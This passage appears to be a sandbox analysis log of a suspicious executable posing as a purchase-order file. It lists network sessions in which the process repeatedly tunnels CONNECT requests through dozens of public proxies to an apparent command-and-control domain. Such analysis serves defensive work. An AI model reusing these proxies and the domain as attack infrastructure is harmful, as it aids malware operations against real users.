Mar 11, 2024 16:42:24.431902885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.11	53862	104.16.230.163	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.279433966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.433701992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.11	51597	89.116.34.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.279755116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376308918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501418114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689244986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.688529015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.782217026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.782299995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:36.875957012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:24.875828981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.11	53219	92.205.110.47	19600	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.291691065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376339912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501491070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.11	53222	109.199.109.144	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.292593002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376368999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501425982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689261913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.11	51706	176.99.2.43	1081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.392405033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.485373020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501477003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689347029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.689482927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.782215118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.782289028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:36.875943899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:24.875876904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.11	53840	23.94.123.202	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.392524004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.134545088 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:26 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.11	51840	185.208.101.216	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.392524004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.485558033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501477957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.158708096 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.11	53773	89.218.8.152	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.398665905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.11	53248	195.169.35.214	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.399138927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475272894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.877654076 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.11	53849	162.214.227.68	43435	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.399231911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985481977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.690143108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.188921928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.986808062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.688792944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.376351118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.688848972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.282218933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.11	53258	101.255.208.18	3129	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.402703047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475343943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.532819986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.11	53037	117.160.250.163	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.403024912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.018721104 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:42:24 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.11	51788	202.4.119.97	5020	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.403155088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.971493959 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.11	53809	177.67.136.241	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.403546095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.11	53821	8.217.143.187	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.407075882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.11	53822	134.209.189.42	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.407258034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.699232101 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.11	53523	192.252.216.81	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.407660961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.11	53819	47.114.101.57	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.407704115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.736013889 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.11	53131	117.160.250.163	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
